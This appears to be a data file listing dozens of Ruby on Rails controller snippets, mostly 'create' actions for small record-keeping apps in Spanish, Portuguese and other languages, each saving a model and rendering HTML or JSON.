"def create\n @pagos_servicio = PagosServicio.new(pagos_servicio_params)\n respond_to do |format|\n if @pagos_servicio.save\n @caja = Caja.where(estado: 0).last\n @mov_caja = MovCaja.create!(caja_id: @caja.id, concepto: @pagos_servicio.servicio, ingreso: 0, egreso: @pagos_servicio.monto, saldo: @caja.cierre.to_i - @pagos_servicio.monto.to_i)\n @caja.update(cierre: @caja.cierre.to_i - @pagos_servicio.monto.to_i, salida: @caja.salida.to_i + @pagos_servicio.monto.to_i)\n format.html { redirect_to @pagos_servicio, notice: 'Se ha registrado el pago correctamente.' }\n format.json { render :show, status: :created, location: @pagos_servicio }\n else\n format.html { render :new }\n format.json { render json: @pagos_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @conta = Conta.new(conta_params)\n\n # @conta.correntista = Correntista.find(params[:id])\n respond_to do |format|\n if @conta.save\n format.html { redirect_to correntista_conta_index_path, notice: 'Conta was successfully created.' }\n format.json { render :show, status: :created, location: @conta }\n else\n format.html { render :new }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit(:intituleSondage, :descriptionSondage, :categorie_id, :administrateur_id)\n ajout = SondageService.instance.creerNouveauSondage(params[:intituleSondage], params[:descriptionSondage], params[:categorie_id], params[:administrateur_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\nend",
"def nuevo\n if params[:caso_id].nil?\n respond_to do |format|\n format.html { render inline: 'Falta identificacion del caso' }\n end\n else\n @evento = Evento.new\n cid = params[:caso_id].to_i\n @evento.caso_id = cid\n @caso = @evento.caso\n @caso.current_usuario = current_usuario\n if @evento.save\n h=@evento.as_json\n h['evento'] = @evento.id\n respond_to do |format|\n format.js { render text: h }\n format.json { render json: h, status: :created }\n format.html { render inline: h.to_s }\n end\n else\n respond_to do |format|\n format.html { render action: \"error\" }\n format.json { \n render json: @evento.errors, \n status: :unprocessable_entity\n }\n end\n end\n end\n end",
"def create\n #a=JSON.parse(params[:categorie]) #arriva sotto forma di stringa dalla view e ristrasformo in hash ruby\n #puts a\n #puts a[1]\n #puts a[1][\"id\"]\n #debugger\n @menu = Menu.new\n @menu.nome=params[:nome]\n @menu.descrizione=params[:descrizione]\n @menu.categorie=params[:categorie]\n @menu.piatti=params[:piatti]\n #debugger\n @menu.abilitaprezzo=params[:abilitaprezzo]\n @menu.prezzo=params[:prezzo]\n @menu.user_id=current_user.id\n @menu.save\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def create\n @comida = Comida.new(comida_params)\n\n respond_to do |format|\n if @comida.save\n format.html { redirect_to @comida, notice: 'Comida was successfully created.' }\n format.json { render :show, status: :created, location: @comida }\n else\n format.html { render :new }\n format.json { render json: @comida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitudrecurso = Solicitudrecurso.new\n @solicitudrecurso.tipo=params[:tipo]\n @solicitudrecurso.fechasol=Date.today\n @solicitudrecurso.horaini=params[:horai]\n @solicitudrecurso.horafin=params[:horaf]\n @solicitudrecurso.fechareserva=session[:fechares]\n @solicitudrecurso.usuario_id=session[:user_id]\n @solicitudrecurso.motivos=params[:motivos]\n nombrecomp = params[:usuario].to_s.split(', ')\n @solicitudrecurso.usuario_id = Usuario.where(\"nombre = :nombre and apellidos = :apellidos\", {:nombre => nombrecomp[1], :apellidos => nombrecomp[0]}).first.id\n \n \n if @solicitudrecurso.save\n familia=Recurso.find_by_identificador(@solicitudrecurso.tipo).descripcion\n @recs=Recurso.where( 'descripcion = ? and disponible = ?',familia,\"t\").to_a\n @ids=@recs.map {|r| r.identificador}\n #session[:fechares]=params[:fecha]\n dia=formato_europeo(session[:fechares])\n #alreves=session[:fechares].to_s.split('-')\n #dia=alreves[2]+\"-\"+alreves[1]+\"-\"+alreves[0]\n @reservas = Solicitudrecurso.where('tipo in (?) and fechareserva = ?', @ids,dia).to_a\n\n respond_to do |format|\n format.js\n end\n \n end\n \n\n end",
"def create\n @sitio_entrega = SitioEntrega.new(params[:sitio_entrega])\n\n respond_to do |format|\n if @sitio_entrega.save\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully created.' }\n format.json { render json: @sitio_entrega, status: :created, location: @sitio_entrega }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end",
"def divida_params\n params.require(:divida).permit(:numr_tipodivida, :numr_cheque, :data_vencimento, :valr_divida, :desc_observacao, :numg_tipopagamento, :data_cadastro, :desc_docprincipal, :data_cancelamento, :data_pagamento, :valr_pagamento, :valr_multa, :valr_juro, :numr_notafiscal, :numr_parcela, :desc_caminhocheque, :flag_ordinaria, :flag_despesafixa, :condominio_id, :contabank_id, :prestador_id, :user_inclusao, :despesa_id, :user_exclusao, :flag_pago)\n end",
"def create\n @division_pai = DivisionPai.new(division_pai_params)\n\n respond_to do |format|\n if @division_pai.save\n format.html { redirect_to @division_pai, notice: 'Division pais creada exitosamente.' }\n format.json { render :show, status: :created, location: @division_pai }\n else\n format.html { render :new }\n format.json { render json: @division_pai.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def create\n @pessoacondominio = Pessoacondominio.new(pessoacondominio_params)\n\n respond_to do |format|\n if @pessoacondominio.save\n format.html { redirect_to @pessoacondominio, notice: 'Pessoa cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @pessoacondominio }\n else\n format.html { render :new }\n format.json { render json: @pessoacondominio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @periodo_academico = PeriodoAcademico.new(params[:periodo_academico])\n\n if @periodo_academico.save\n render json: @periodo_academico, status: :created, location: @periodo_academico\n else\n render json: @periodo_academico.errors, status: :unprocessable_entity\n end\n end",
"def divisa_params\n params.require(:divisa).permit(:año, :mes, :dia, :valor, :tipo)\n end",
"def create\n @asiento_de_servicio = AsientoDeServicio.new(asiento_de_servicio_params)\n\n respond_to do |format|\n if @asiento_de_servicio.save\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully created.' }\n format.json { render :show, status: :created, location: @asiento_de_servicio }\n else\n format.html { render :new }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @instituicao_responsavel = InstituicaoResponsavel.new(instituicao_responsavel_params)\n\n respond_to do |format|\n if @instituicao_responsavel.save\n format.html { redirect_to @instituicao_responsavel, notice: 'Instituicao responsavel was successfully created.' }\n format.json { render :show, status: :created, location: @instituicao_responsavel }\n else\n format.html { render :new }\n format.json { render json: @instituicao_responsavel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competicao = Competicao.new(params[:competicao])\n\n respond_to do |format|\n if @competicao.save\n format.html { redirect_to @competicao, notice: 'Competicao was successfully created.' }\n format.json { render json: @competicao, status: :created, location: @competicao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recurso = Recurso.new(params[:recurso])\n\n respond_to do |format|\n if @recurso.save\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi criado com sucesso.' }\n format.json { render json: @recurso, status: :created, location: @recurso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end",
"def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to @asiento, :notice => 'El apunte fue creado.' }\n format.json { render :json => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def dame_institucion\n i = Metamares::Institucion.new\n i.nombre_institucion = params[:nombre_institucion]\n\n respond_to do |format|\n format.json { render json: i.busca_institucion.map{ |i| { id: i.id, value: i.nombre_institucion } } }\n format.html { @institucion = i }\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @sugerencia = Sugerencia.new(params[:sugerencia])\n\n respond_to do |format|\n if @sugerencia.save\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully created.' }\n format.json { render :json => @sugerencia, :status => :created, :location => @sugerencia }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @dica = Dica.new(dica_params)\n \n respond_to do |format|\n if @dica.save\n format.html { redirect_to @dica, notice: 'Dica cadastrada com sucesso!' }\n format.json { render :show, status: :created, location: @dica }\n else\n format.html { render :new, @current_usuario => current_usuario }\n format.json { render json: @dica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sesiune = Sesiune.new(sesiune_params)\n\n respond_to do |format|\n if @sesiune.save\n\n # duplic temele si domeniile din ultima sesiune si le adaug in baza de date cu sesiune_id asta pe care tocmai am creat-o\n @ultima_sesiune = Sesiune.where(este_deschisa: false).last\n Domeniu.where(sesiune_id: @ultima_sesiune.id).each do |dom|\n nou_dom = Domeniu.create(nume: dom.nume, descriere: dom.descriere, user_id: dom.user_id, sesiune_id: @sesiune.id)\n Tema.where(sesiune_id: @ultima_sesiune.id).where(domeniu_id: dom.id).each do |tema|\n Tema.create(nume: tema.nume, descriere: tema.descriere, domeniu_id: nou_dom.id, este_libera: true, user_id: tema.user_id, sesiune_id: @sesiune.id)\n # ce faci dc user_id-ul temei este un student care a terminat? si th i se desfiinteaza contul?\n end\n end\n\n format.html { redirect_to controlPanel_path, notice: 'Sesiune was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sesiune }\n else\n format.html { render action: 'new' }\n format.json { render json: controlPanel_path.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @asistencia_domingo = AsistenciaDomingo.new(asistencia_domingo_params)\n\n asistencia_reunion_evangelist_id = asistencia_reunion_evangelist_param[:asistencia_reunion_evangelist_id]\n asistencia_reunion_planificacion_id = asistencia_reunion_planificacion_param[:asistencia_reunion_planificacion_id]\n\n if @asistencia_domingo.save\n redirect_to controller: 'reporte_semanal_celulas', action: 'new', asistencia_domingo_id: @asistencia_domingo.id, asistencia_reunion_evangelist_id: asistencia_reunion_evangelist_id, asistencia_reunion_planificacion_id: asistencia_reunion_planificacion_id , notice: 'Asistencia domingos was successfully created.'\n return\n end\n\n respond_to do |format|\n if !@asistencia_domingo.save\n format.html { render :new }\n format.json { render json: @asistencia_domingo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end",
"def create\n @conta = Conta.new(conta_params)\n\n respond_to do |format|\n if @conta.save\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.salva')}\n format.json { render :index, status: :created, location: @conta }\n else\n format.html { redirect_to contas_path, alert: @conta.errors.messages }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n begin\n data = saldo_params.dig('data')\n bancos = saldo_params.dig('bancos')\n\n bancos.each do |banco|\n Saldo.create({data: data, banco_id: banco.dig('id'), valor: banco.dig('valor')})\n end\n \n respond_to do |format|\n format.html { redirect_to bancos_path, notice: 'Saldos criados com sucesso.' }\n format.json { render :show, status: :created }\n end\n rescue => exception\n respond_to do |format|\n format.html { redirect_to bancos_path, notice: 'Erro ao criar os saldos.' }\n format.json { render status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diario = Diario.new(diario_params)\n\n respond_to do |format|\n if @diario.save\n format.html { redirect_to @diario, notice: \"Diario was successfully created.\" }\n format.json { render :show, status: :created, location: @diario }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @diario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @realiza = Realiza.new(params[:realiza])\n\n respond_to do |format|\n if @realiza.save\n @pagamento=Pagamento.new(:servico_id=>@realiza.servico_id,:cliente_id=>@realiza.cliente_id,:valor=>@realiza.servico.preco,\n :formapagamentoe_id=>params[:pagamento],:realiza_id=>@realiza.id)\n @pagamento.save\n format.html { redirect_to @realiza, notice: 'Realiza was successfully created.' }\n format.json { render json: @realiza, status: :created, location: @realiza }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realiza.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @divorce = Divorce.new(params[:divorce])\n\n respond_to do |format|\n if @divorce.save\n wedding = Wedding.get_wedding_by_spouse_id(@divorce.first_person_id)\n unless wedding.nil? then\n wedding.destroy\n end\n format.html { redirect_to inhabitants_path }\n format.json { render inhabitants_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @divorce.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @selecao = Selecao.new(params[:selecao])\n\n respond_to do |format|\n if @selecao.save\n format.html { redirect_to @selecao, notice: 'Selecao was successfully created.' }\n format.json { render json: @selecao, status: :created, location: @selecao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end",
"def create\n @cliente = Cliente.new\n if params[:type] == \"PessoaFisica\"\n @cliente.pessoa = PessoaFisica.new\n else\n @cliente.pessoa = PessoaJuridica.new\n end\n @cliente.assign_attributes(cliente_params)\n respond_to do |format|\n if @cliente.save\n format.html { redirect_to action: \"index\"}\n format.json { render json: @cliente.to_json(include: [:pessoa]) }\n else\n format.html { render :new }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @Empresa = Empresa.find(params[:empresa_id])\n p simulacion_params[:id]\n if simulacion_params[:id]!=nil\n respond_to do |format| \n format.html { render json: 1 and return}\n end\n end\n simulacion=@Empresa.simulacions.new(simulacion_params)\n respond_to do |format|\n if simulacion.save\n format.html { render json: {simulacion:simulacion}}\n else\n format.html { render action: simulacion.errors }\n end\n end\n end",
"def create\n @serv_adicionale = ServAdicionale.new(params[:serv_adicionale])\n\n respond_to do |format|\n if @serv_adicionale.save\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully created.' }\n format.json { render json: @serv_adicionale, status: :created, location: @serv_adicionale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vacuna = Vacuna.new(vacuna_params)\n @vacuna.mascota_id = @mascota.id\n respond_to do |format|\n if @vacuna.save\n format.html { redirect_to @vacuna, notice: 'Vacuna Agregada exitosamente' }\n format.json { render :show, status: :created, location: @vacuna }\n else\n format.html { render :new }\n format.json { render json: @vacuna.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @seihinn = Seihinn.new(seihinn_params)\n\n respond_to do |format|\n if @seihinn.save\n format.html { redirect_to @seihinn, notice: \"Seihinn was successfully created.\" }\n format.json { render :show, status: :created, location: @seihinn }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seihinn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #Parámetros permitidos.\n lectura_params\n\n #Asignación de variables.\n numero = params[:lectura][:numero].upcase\n actual = params[:lectura][:actual].to_i\n medidor = Medidor.find_by(numero: numero)\n periodo = Periodo.last\n consumominimo = Servicio.find_by(id: 1)\n\n #Cálculos.\n consumototal = actual - medidor.medicion\n consumototal = actual - medidor.medicion\n if consumototal > consumominimo.m3 then\n consumoexceso = consumototal - consumominimo.m3\n else\n consumoexceso = 0\n end\n\n #Editar lectura.\n @lectura = Lectura.new\n @lectura.cliente_id = medidor.cliente_id\n @lectura.periodo_id = periodo.id\n @lectura.fecha = Date.today\n @lectura.numero = numero\n @lectura.actual = actual\n @lectura.consumo = consumototal\n @lectura.exceso = consumoexceso\n\n #Guardar lectura.\n respond_to do |format|\n if @lectura.save\n medidor.medicion = actual\n medidor.save\n puts'Lectura guardada'\n format.json { render :show, status: :created, location: @lectura }\n #format.html { redirect_to @lectura, notice: 'La lectura fue creada.' }\n #format.js { }\n else\n puts'Lectura no guardada'\n format.json { render json: @lectura.errors, status: :unprocessable_entity }\n #format.html { render :new }\n end\n end\n end",
"def create\n @seguro = Seguro.new(params[:seguro])\n\n respond_to do |format|\n if @seguro.save\n format.html { redirect_to @seguro, notice: 'Seguro was successfully created.' }\n format.json { render json: @seguro, status: :created, location: @seguro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @educacao = Educacao.new(educacao_params)\n\n respond_to do |format|\n if @educacao.save\n format.html { redirect_to educacaos_url, notice: 'Educacao was successfully created.' }\n format.json { render :json => @educacao }\n else\n #format.html { render action: 'new' }\n format.json { render json: @educacao.errors, status: :unprocessable_entity }\n format.js { render json: @educacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estacionamiento = Estacionamiento.new(estacionamiento_params)\n @lista_departamentos = Ubigeo.find_by_sql(\"select distinct idDepartamento, Departamento from ubigeos\")\n @lista_provincias = Ubigeo.find_by_sql(\"select distinct idProvincia, Provincia from ubigeos\")\n @lista_distritos = Ubigeo.find_by_sql(\"select distinct idDistrito, Distrito from ubigeos\")\n @serv_adicinales = ServAdicinale.all\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render :show, status: :created, location: @estacionamiento }\n else\n format.html { render :new }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diciplina = Diciplina.new(params[:diciplina])\n respond_to do |format|\n if @diciplina.save\n format.html { redirect_to @diciplina, notice: 'Diciplina was successfully created.' }\n format.json { render json: @diciplina, status: :created, location: @diciplina }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diciplina.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sabio = Sabio.new(params[:sabio])\n\n respond_to do |format|\n if @sabio.save\n format.html { redirect_to @sabio, notice: 'El Sabio a sido creado exitosamente.' }\n format.json { render json: @sabio, status: :created, location: @sabio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@pasien = Pasien.find(params[:pasien_id])\n #@hasil = @pasien.hasils.create(params[:hasil])\n #redirect_to pasien_path(@post)\n @hasil = Hasil.create(params[:hasil])\n\n respond_to do |format|\n if @hasil.save\n format.html { redirect_to @hasil, notice: 'Hasil was successfully created.' }\n format.json { render json: @hasil, status: :created, location: @hasil }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hasil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ejercicio = Ejercicio.new(params[:ejercicio])\n\n respond_to do |format|\n if @ejercicio.save\n format.html { redirect_to @ejercicio, notice: 'Ejercicio was successfully created.' }\n format.json { render json: @ejercicio, status: :created, location: @ejercicio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ejercicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dica_params\n params.require(:dica).permit(:nome, :descricao, :missao_id)\n end",
"def create\n @activite = Activite.new(params[:activite])\n @activite.dossier_id = params[:dossier]\n @activite.save\n render :json => {\"success\"=>true,\"data\"=>@activite}\n \n end",
"def create\n @categoria = Categoria.new(categoria_params)\n if @categoria.save\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end",
"def create\n @subdivision = Subdivision.new\n @subdivision.type_subdivision_id=params['type_id'].to_i\n @subdivision.institution = params['institution']\n @subdivision.chairisting = params['chairisting']\n if @subdivision.save\n return render :json => {'status' => 'ok', 'subdivision'=>@subdivision}\n end\n render :json => {'status' => 'fail', 'subdivision' => nil}\n end",
"def create\n @saida = Saida.new(saida_params)\n\n respond_to do |format|\n if @saida.save\n format.html { redirect_to @saida, notice: 'Saida was successfully created.' }\n format.json { render :show, status: :created, location: @saida }\n else\n format.html { render :new }\n format.json { render json: @saida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ruta = Ruta.new(ruta_params)\n respond_to do |format|\n if params[:parada_inicial] != \"\"\n @inicio = Parada.find(params[:parada_inicial])\n @ruta.parada.push(@inicio)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @inicio.id)\n @ruta_parada.tipo = 1\n @ruta_parada.save\n end\n if params[:parada_final] != \"\"\n @final = Parada.find(params[:parada_final])\n @ruta.parada.push(@final)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @final.id)\n @ruta_parada.tipo = -1\n @ruta_parada.save\n end\n if params[:grupo_paradas] != \"\"\n @paradas = Parada.where(:id => params[:grupo_paradas])\n @ruta.parada << @paradas\n end\n if @ruta.save\n format.html { redirect_to @ruta, notice: 'Ruta was successfully created.' }\n format.json { render :show, status: :created, location: @ruta }\n else\n format.html { render :new }\n format.json { render json: @ruta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n respond_to do |format|\n \n if @citum.save\n format.html { redirect_to @citum, notice: 'Cita creada exitosamente.' }\n format.json { render :show, status: :created, location: @citum }\n else\n format.html { render :new }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end \n \n end\n end",
"def create\n @inicio = Inicio.new(inicio_params)\n\n respond_to do |format|\n if @inicio.save\n format.html { redirect_to @inicio, notice: 'Inicio was successfully created.' }\n format.json { render :show, status: :created, location: @inicio }\n else\n format.html { render :new }\n format.json { render json: @inicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estadia = Estadia.new(estadia_params)\n\n #Quando cria uma estadia nova, seta a data como a hora corrente\n @estadia.data_entrada = Time.now\n #ocupa a vaga\n @estadia.vaga.ocupada = true\n\n respond_to do |format|\n if @estadia.vaga.save && @estadia.save\n format.html { redirect_to @estadia, notice: 'Estadia was successfully created.' }\n format.json { render :show, status: :created, location: @estadia }\n else\n format.html { render :new }\n format.json { render json: @estadia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sinh_vien = SinhVien.new(params[:sinh_vien])\n\n respond_to do |format|\n if @sinh_vien.save \n format.json { render json: @sinh_vien, status: :created, location: @sinh_vien }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sintoma = Sintoma.new(sintoma_params)\n\n respond_to do |format|\n if @sintoma.save\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully created.' }\n format.json { render :show, status: :created, location: @sintoma }\n else\n format.html { render :new }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:categoria_producto]\n p = Producto.find(params[:producto_id])\n c = Categoria.find(params[:categoria_id])\n\n if p.categorias << c\n render json: c, status: :created\n else\n render json: {:errors => {categoria: [\"No se ha podido agregar categoria\"]}}, status: :unprocessable_entity\n end\n\n else\n @categoria = Categoria.new(parametros_categoria)\n\n if @categoria.save\n render json: @categoria, status: :created\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @doenca = Doenca.new(doenca_params)\n\n respond_to do |format|\n if @doenca.save\n format.html { redirect_to @doenca, notice: 'Doenca was successfully created.' }\n format.json { render :show, status: :created, location: @doenca }\n else\n format.html { render :new }\n format.json { render json: @doenca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @instituicao = Instituicao.new(params[:instituicao])\n\n respond_to do |format|\n if @instituicao.save\n format.html { redirect_to @instituicao, notice: 'Instituicao was successfully created.' }\n format.json { render json: @instituicao, status: :created, location: @instituicao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instituicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @consulta = Consulta.new(params[:consulta])\n\n if @consulta.save\n render json: @consulta, status: :created, location: @consulta\n else\n render json: @consulta.errors, status: :unprocessable_entity\n end\n end",
"def create\n #Parámetros permitidos.\n pago_params\n\n #Asignación de variables.\n fact = params[:pago][:factura_id]\n fecha = params[:pago][:fechapago]\n factura = Factura.find_by(id: fact)\n\n #Editar pago.\n @pago = Pago.new\n @pago.factura_id = fact\n @pago.fechapago = fecha\n @pago.monto = factura.total\n\n respond_to do |format|\n if @pago.save\n #Inserción en la cuenta corriente cliente por el haber.\n ctactecli = Ctactecli.find_by(cliente_id: factura.cliente_id)\n detallectactecli = Detallectactecli.new\n detallectactecli.ctactecli_id = factura.cliente_id\n detallectactecli.fechadetalle = Date.today\n detallectactecli.tipodetalle = 'Crédito por factura'\n detallectactecli.haber = factura.total\n detallectactecli.save\n ctactecli.saldo = ctactecli.saldo - factura.total\n ctactecli.save\n\n format.json { render :show, status: :created, location: @pago }\n puts'Pago guardado'\n #format.html { redirect_to @pago, notice: 'Pago was successfully created.' }\n else\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n puts'Pago no guardado'\n #format.html { render :new }\n end\n end\n end",
"def create\n @codvenda = Codvenda.new(codvenda_params)\n\n respond_to do |format|\n if @codvenda.save\n format.html { redirect_to @codvenda, notice: 'Codvenda was successfully created.' }\n format.json { render :show, status: :created, location: @codvenda }\n else\n format.html { render :new }\n format.json { render json: @codvenda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitud_servicio = SolicitudServicio.new(params[:solicitud_servicio])\n\n respond_to do |format|\n if @solicitud_servicio.save\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully created.' }\n format.json { render json: @solicitud_servicio, status: :created, location: @solicitud_servicio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug(\"Creando calabaza aa #{params[:deuda][:deuda_original_id]} #{params}\")\n @deuda = Deuda.new(params[:deuda])\n if(params[:deuda].has_key?(:deuda_original_id))\n logger.debug(\"Se slecciono deuda original\")\n if(@deuda.credito.present?)\n logger.debug(\"Estaba asociado con un credito\")\n @deuda.credito.deudas.delete(@deuda)\n end\n @deuda.credito_id=nil\n end\n\n respond_to do |format|\n if @deuda.save\n format.html { redirect_to @deuda, notice: 'Deuda was successfully created.' }\n format.json { render json: @deuda, status: :created, location: @deuda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @deuda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@calificacion = Calificacion.new(calificacion_params)\n @calificacion = Calificacion.new(calificacion_params)\n @pasaje = params[:pasaje].to_i\n @calificacion.pasaje_id = @pasaje\n #viaje2=Viaje.find(params[:viaje])\n\n #viaje2.califiacions << @calificacion\n #@calificacion.viaje_id = params[:viaje]\n respond_to do |format|\n if @calificacion.save\n format.html { \n \n \n redirect_to @calificacion, notice: 'Calificacion creada exitosamente.' }\n format.json { render :show, status: :created, location: @calificacion }\n else\n format.html { render :new }\n format.json { render json: @calificacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estatuto = Estatuto.new(params[:estatuto])\n\n respond_to do |format|\n if @estatuto.save\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully created.' }\n format.json { render json: @estatuto, status: :created, location: @estatuto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @divition_type = DivitionType.new(divition_type_params)\n\n respond_to do |format|\n if @divition_type.save\n format.html { redirect_to divition_types_path, notice: 'Divition type was successfully created.' }\n format.json { render :show, status: :created, location: @divition_type }\n else\n format.html { render :new }\n format.json { render json: @divition_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @id=session[:test_id]\n @cartella_clinica=CartellaClinica.new(cartella_clinica_params)\n respond_to do |format|\n if @cartella_clinica.save\n CartellaClinica.update(@cartella_clinica.id,:paziente_id =>@id) \n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata con successo.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
